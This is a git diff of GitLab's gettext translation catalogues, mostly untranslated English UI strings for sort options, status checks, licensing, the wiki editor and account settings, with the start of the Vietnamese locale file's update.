@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/vi_VN/gitlab.po b/locale/vi_VN/gitlab.po
index 4286faf3018..59bc95351f8 100644
--- a/locale/vi_VN/gitlab.po
+++ b/locale/vi_VN/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: vi\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:19\n"
+"PO-Revision-Date: 2021-07-01 21:00\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -87,6 +84,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -230,10 +230,6 @@ msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -358,6 +354,21 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
